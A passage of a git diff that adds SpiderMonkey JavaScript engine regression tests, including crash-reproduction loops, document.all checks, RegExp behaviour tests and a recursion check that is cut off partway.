+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+
+
+ if (i % 80 == 0) {
+ printStatus("This doesn't want to crash now, please keep trying.");
+ break;
+ }
+
+}
+
+// These have to be named functions, using anonymous functions doesn't crash.
+// Using just one function here makes the crash much less likely.
+function dummy(){}
+function dummy2(){}
+function dummy3(){}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-244619.js b/js/src/tests/non262/regress/regress-244619.js
new file mode 100644
index 0000000000..1406535e8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-244619.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244619;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f1()
+{
+ var o = new Object();
+ eval.call(o, "var a = 'vodka'"); // <- CRASH !!!
+}
+
+// Rhino does not allow indirect eval calls
+try
+{
+ f1();
+}
+catch(e)
+{
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-245113.js b/js/src/tests/non262/regress/regress-245113.js
new file mode 100644
index 0000000000..abbda6ac00
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-245113.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245113;
+var summary = 'instanceof operator should return false for class prototype';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Date.prototype.test = function() {
+ return (this instanceof Date);
+};
+
+String.prototype.test = function() {
+ return (this instanceof String);
+};
+
+status = summary + inSection(1);
+expect = false;
+actual = (Date.prototype.test instanceof Date);
+reportCompare(expect, actual, status);
+
+status = summary + inSection(2);
+expect = false;
+actual = Date.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(3);
+expect = false;
+actual = String.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(4);
+expect = true;
+actual = (new Date()).test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(5);
+expect = true;
+actual = (new String()).test();
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/non262/regress/regress-245308.js b/js/src/tests/non262/regress/regress-245308.js
new file mode 100644
index 0000000000..51c928587f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-245308.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245308;
+var summary = 'Don\'t Crash with nest try catch';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo(e) {
+ try {}
+ catch(ex) {
+ try {}
+ catch(ex) {}
+ }
+}
+
+foo('foo');
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-246911.js b/js/src/tests/non262/regress/regress-246911.js
new file mode 100644
index 0000000000..2f35f5fd83
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-246911.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246911;
+var summary = 'switch() statement with variable as label';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'PASS';
+
+var a = 10;
+a = 9;
+var b = 10;
+
+switch(b)
+{
+case a:
+ actual = 'FAIL';
+ break;
+default:
+ actual = 'PASS';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-246964.js b/js/src/tests/non262/regress/regress-246964.js
new file mode 100644
index 0000000000..d95b3c1da1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-246964.js
@@ -0,0 +1,160 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246964;
+// see also bug 248549, bug 253150, bug 259935
+var summary = 'undetectable document.all';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ expect = actual = 'Test requires browser: skipped';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ status = summary + ' ' + inSection(1) + ' if (document.all) ';
+ expect = false;
+ actual = false;
+ if (document.all)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(2) + 'if (isIE) ';
+ expect = false;
+ actual = false;
+ var isIE = document.all;
+ if (isIE)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(3) + ' if (document.all != undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all != undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+
+ status = summary + ' ' + inSection(4) + ' if (document.all !== undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all !== undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(5) + ' if (document.all != null) ' ;
+ expect = false;
+ actual = false;
+ if (document.all != null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(6) + ' if (document.all !== null) ' ;
+ expect = true;
+ actual = false;
+ if (document.all !== null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(7) + ' if (document.all == null) ';
+ expect = true;
+ actual = false;
+ if (document.all == null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(8) + ' if (document.all === null) ';
+ expect = false;
+ actual = false;
+ if (document.all === null)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(9) + ' if (document.all == undefined) ';
+ expect = true;
+ actual = false;
+ if (document.all == undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(10) + ' if (document.all === undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all === undefined)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(11) +
+ ' if (typeof document.all == "undefined") ';
+ expect = true;
+ actual = false;
+ if (typeof document.all == 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(12) +
+ ' if (typeof document.all != "undefined") ';
+ expect = false;
+ actual = false;
+ if (typeof document.all != 'undefined')
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(13) + ' if ("all" in document) ';
+ expect = (document.compatMode == 'CSS1Compat') ? false : true;
+ actual = false;
+ if ('all' in document)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(14) + ' if (f.ie) ';
+ var f = new foo();
+
+ expect = false;
+ actual = false;
+ if (f.ie)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+}
+
+function foo()
+{
+ this.ie = document.all;
+}
diff --git a/js/src/tests/non262/regress/regress-247179.js b/js/src/tests/non262/regress/regress-247179.js
new file mode 100644
index 0000000000..9e01051eef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-247179.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 247179;
+var summary = 'RegExp \\b should not recognize non-ASCII alphanumerics as word characters';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 3;
+actual = "m\ucc44nd".split(/\b/).length;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-248444.js b/js/src/tests/non262/regress/regress-248444.js
new file mode 100644
index 0000000000..f04a4bac0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-248444.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 248444;
+var summary = 'toString/toSource of RegExp should escape slashes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re;
+expect = '/[^\\/]+$/';
+
+status = summary + ' ' + inSection(1);
+re = /[^\/]+$/;
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2);
+re = RegExp("[^\\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3);
+re = RegExp("[^\\/]+$");
+actual = re.toString();
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-252892.js b/js/src/tests/non262/regress/regress-252892.js
new file mode 100644
index 0000000000..5f799bb18f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-252892.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 252892;
+var summary = 'for (var i in o) in heavyweight function f should define i in f\'s activation';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+
+var dodis;
+
+function f1(o){for(var x in o)printStatus(o[x]); return x}
+function f2(o){with(this)for(var x in o)printStatus(o[x]); return x}
+function f2novar(o){with(this)for(x in o)printStatus(o[x]); return x}
+function f3(i,o){for(var x in o)printStatus(o[x]); return x}
+function f4(i,o){with(this)for(var x in o)printStatus(o[x]); return x}
+
+var t=0;
+function assert(c)
+{
+ ++t;
+
+ status = summary + ' ' + inSection(t);
+ expect = true;
+ actual = c;
+
+ if (!c)
+ {
+ printStatus(t + " FAILED!");
+ }
+ reportCompare(expect, actual, summary);
+}
+
+assertEq(f1([]), undefined);
+
+assertEq(f1(['first']), "0");
+
+assertEq(f2([]), undefined);
+
+assertEq(f2(['first']), "0");
+
+assertEq(f3(42, []), undefined);
+
+assertEq(f3(42, ['first']), "0");
+
+assertEq(f4(42, []), undefined);
+
+assertEq(f4(42, ['first']), "0");
+
+this.x = 41;
+
+assertEq(f2([]), undefined);
+
+assertEq(f2novar([]), 41);
+
+assertEq(f2(['first']), undefined);
+
+assertEq(f2novar(['first']), "0");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-254296.js b/js/src/tests/non262/regress/regress-254296.js
new file mode 100644
index 0000000000..041c3876c9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-254296.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254296;
+var summary = 'javascript regular expression negative lookahead';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = [3].toString();
+actual = /^\d(?!\.\d)/.exec('3.A');
+if (actual)
+{
+ actual = actual.toString();
+}
+
+reportCompare(expect, actual, summary + ' ' + inSection(1));
+
+expect = 'AB';
+actual = /(?!AB+D)AB/.exec("AB") + '';
+reportCompare(expect, actual, summary + ' ' + inSection(2));
diff --git a/js/src/tests/non262/regress/regress-254974.js b/js/src/tests/non262/regress/regress-254974.js
new file mode 100644
index 0000000000..306fafbb11
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-254974.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// this test originally was only seen if typed into the js shell.
+// loading as a script file did not exhibit the problem.
+// this test case may not exercise the problem properly.
+
+var BUGNUMBER = 254974;
+var summary = 'all var and arg properties should be JSPROP_SHARED';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function testfunc(tokens) {
+ function eek(y) {} /* remove function eek and the code will change its behavior */
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+bad=testfunc;
+function testfunc(tokens) {
+ return tokens.split(/\]?(?:\[|$)/).shift();
+}
+good=testfunc;
+
+var goodvalue = good("DIV[@id=\"test\"]");
+var badvalue = bad("DIV[@id=\"test\"]");
+
+printStatus(goodvalue);
+printStatus(badvalue);
+
+expect = goodvalue;
+actual = badvalue;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-256501.js b/js/src/tests/non262/regress/regress-256501.js
new file mode 100644
index 0000000000..11186d9dfe
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-256501.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 256501;
+var summary = 'Check Recursion';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'error';
+
+try
+{
+ var N = 100*1000;
+ var buffer = new Array(N * 2 + 1);
+ for (var i = 0; i != N; ++i)
+ {
+ buffer[i] = 'do ';
+ buffer[buffer.length - i - 1] = ' while(0);';
+ }
+ buffer[N] = 'printStatus("TEST");';
